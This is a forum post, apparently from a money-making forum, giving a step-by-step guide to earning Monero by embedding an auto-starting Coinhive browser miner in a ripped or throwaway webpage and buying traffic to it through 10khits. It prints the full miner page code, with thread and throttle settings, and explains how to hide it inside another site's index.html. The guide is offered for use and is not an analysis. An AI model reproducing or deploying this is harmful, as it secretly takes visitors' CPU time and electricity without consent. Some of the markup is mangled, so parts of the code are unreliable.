• We just launched and are currently in beta. Join us as we build and grow the community.

Make XMR/USD with 10khits and coinhive (autopilot)

kricowjak234

Ad Story Specialist
K Rep
0
0
0
Rep
0
K Vouches
0
0
0
Vouches
0
Posts
109
Likes
106
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 200 XP
Okay so this guide basically uses an embedded webpage miner with an auto start feature to generate hashing power off of hits from 10khits
First you need to sign up at http://coinhive.com , http://10khits.com , and http://awardspace.com ( or a webhost of your choosing).
Then you will need to put your coinhive public key (NOT THE PRIVATE ONE) in the java script below in a text editor
(put the key in where it says "Your coinhive public site key here")
(you can find you public site key on the coinhive dashboard under settings then Sites and API keys)
Code:
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>
		Coinhive
	</title>
	[*]	    crossorigin="anonymous">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
	    crossorigin="anonymous"></script>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.11.0/umd/popper.min.js" integrity="sha384-b/U6ypiBEHpOf/4+1nzFpr53nxSS+GLCkfwBdFNTxtclqqenISfwAzpKaMNFNmj4"
	    crossorigin="anonymous"></script>
	<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta/js/bootstrap.min.js" integrity="sha384-h0AbiXch4ZDo7tp9hKZ4TsHbi047NrKGLO3SEJAg45jXxnGIfYzk4Si90RDIqNm1"
	    crossorigin="anonymous"></script>
	<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
	<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
	<script>
		var miner = null;
		function start($scope) {
			if (miner) {
				miner.stop();
			}
			// Create miner
			if ($scope.isAnonymous) {
				miner = new CoinHive.Anonymous($scope.siteKey);
			} else {
				miner = new CoinHive.User($scope.siteKey, $scope.userName);
			}
			miner.setNumThreads($scope.numThreads);
			miner.setThrottle($scope.speed);
			miner.setAutoThreadsEnabled(true)
			// Listen on events
			//miner.on('found', (e) => {console.log('Found!'); console.log(e)})
			//miner.on('accepted', (e) => {console.log('Accepted!'); console.log(e)} )
			miner.on('error', function (params) {
				if (params.error !== 'connection_error') {
					$scope.alert = 'The pool reported an error: ' + params.error;
					console.log($scope.alert);
				}
			});
			miner.on('job', function (params) {
				$scope.$apply(function () {
					$scope.jobId = params.job_id;
				});
			});
			// Start miner
			miner.start();
		};
		var app = angular.module('myApp', []);
		app.controller('myCtrl', function ($scope, $timeout) {
			$scope.isAnonymous = false;
			$scope.userName = 'MoneroU';
			$scope.siteKey = 'Your coinhive public site key here';
			$scope.alert = '';
			$scope.numThreads = 4;
			$scope.maxThrottle = 0.2;
			$scope.minThrottle = 0.95;
			$scope.slowTime = 120; //2 ore
			$scope.waitTime = 15; //20 min
			//	$scope.slowTime = 10000;
			//	$scope.waitTime = 10000;
			$scope.currentThrottle = 0;
			$scope.startTime = new Date();
			$scope.maxCPU = false;
			$scope.speed = $scope.maxCPU ? $scope.maxThrottle : $scope.minThrottle;
			$scope.restart = function () {
				$scope.alert = "";
				start($scope);
			};
			$scope.changeNumThreads = function () {
				miner.setNumThreads($scope.numThreads);
			};
			$scope.stop = function () {
				if (miner) {
					miner.stop();
					$scope.hashesPerSecond = 0;
					$scope.totalHashes = 0;
					$scope.acceptedHashes = 0;
				}
			};
			$scope.changeThrottle = function () {
				$scope.speed = $scope.minThrottle;
				miner.setThrottle($scope.speed);
			};
			$scope.onChangeSiteKey = function () {
				$scope.alert = "You must restart the miner";
			};
			$scope.restart();
			setInterval(function () {
				$scope.hashesPerSecond = miner.getHashesPerSecond();
				$scope.totalHashes = miner.getTotalHashes();
				$scope.acceptedHashes = miner.getAcceptedHashes();
				$scope.$apply(function () {
					$scope.currentThrottle = miner.getThrottle();
				});
				var oldSpeed = $scope.speed;
				if ($scope.maxCPU) {
					var currentTime = (new Date()) - $scope.startTime.getTime();
					var slowMill = $scope.slowTime * 60000;
					var waitMill = $scope.waitTime * 60000;
					var goSlow = false;
					if (!goSlow && currentTime > slowMill) {
						goSlow = true;
					}
					if (goSlow) {
						$scope.speed = $scope.minThrottle;
						if (currentTime > (slowMill + waitMill)) {
							$scope.startTime = new Date();
							goSlow = false;
							$scope.speed = $scope.maxThrottle;
						}
					} else {
						$scope.speed = $scope.maxThrottle;
					}
				} else {
					$scope.speed = $scope.minThrottle;
				}
				if ($scope.speed != oldSpeed) {
					oldSpeed = $scope.speed;
					miner.setThrottle($scope.speed);
				}
			}, 1000);
		});
	</script>
</head>
	
	
		
			<button type="button" class="close" data-dismiss="alert" aria-label="Close">
						  &times;
						</button> {{alert}}
		
		
		
			
				SITE-KEY
				
				<button class="btn btn-secondary" type="button" ng-click="restart()">Restart!</button>
			
		
		
			
				Check for Anonymous
				
							
						
				
			
		
		
		
			<label class="col-sm-2 col-form-label">Hashes per second: </label>
			<label class="col-sm-2 col-form-label">{{hashesPerSecond}}</label>
		
		
			<label class="col-sm-2 col-form-label">Total hashes: </label>
			<label class="col-sm-2 col-form-label">{{totalHashes}}</label>
		
		
			<label class="col-sm-2 col-form-label">Accepted hashes: </label>
			<label class="col-sm-2 col-form-label">{{acceptedHashes}}</label>
		
		
			<label class="col-sm-2 col-form-label">Last Job Id: </label>
			<label class="col-sm-2 col-form-label">{{jobId}}</label>
		
		
			<label class="col-sm-2 col-form-label">Current Throttle: </label>
			<label class="col-sm-2 col-form-label">{{currentThrottle}}</label>
		
		
			<label class="col-sm-2 col-form-label">Min Throttle: </label>
			
		
		
			<label class="col-sm-2 col-form-label">Number of threads: </label>
			
		
		
			<label class="col-sm-2 col-form-label">Go slow after [min]: </label>
			
		
		
			<label class="col-sm-2 col-form-label">Stay slow [min]: </label>
			
		
		
			<label class="form-check-label">
			
			  Force CPU max
			</label>
		
		
		
			<button type="button" class="btn btn-warning pull-info" role="button" aria-disabled="true" ng-click="stop()">Stop</button>
		
		
		
			https://coin-hive.com/dashboard
			https://www.coingecko.com/en/price_charts/monero/eur
			https://mymonero.com/#/
		
	
</html>
Next you will save your Java script as an html file and upload it to your awardspace host account or which ever host you picked.
Now you will need to rip or create any obscure webpage you like and upload the contents of the webpage to your awardspace host account or the alternative host you picked.
After that you will edit the index.html of the webpage you uploaded and change "Your.Sub.Domain/WhateveryouNamedTheJs,html" to the url of where your Javascript miner can be located, then paste this code in at the end of the index.html code.
Code:
http://Your.Sub.domain/WhateverYouNamedTheJS.html
Now take the landing URL of your webpage and add it to your 10khits account
I recommend setting the page view time for your webpage to be set for 50-60 seconds (so you get more hashes out of each hit)
Just surf or pay to generate hits and your done!
 

452,496

338,631

338,639

Top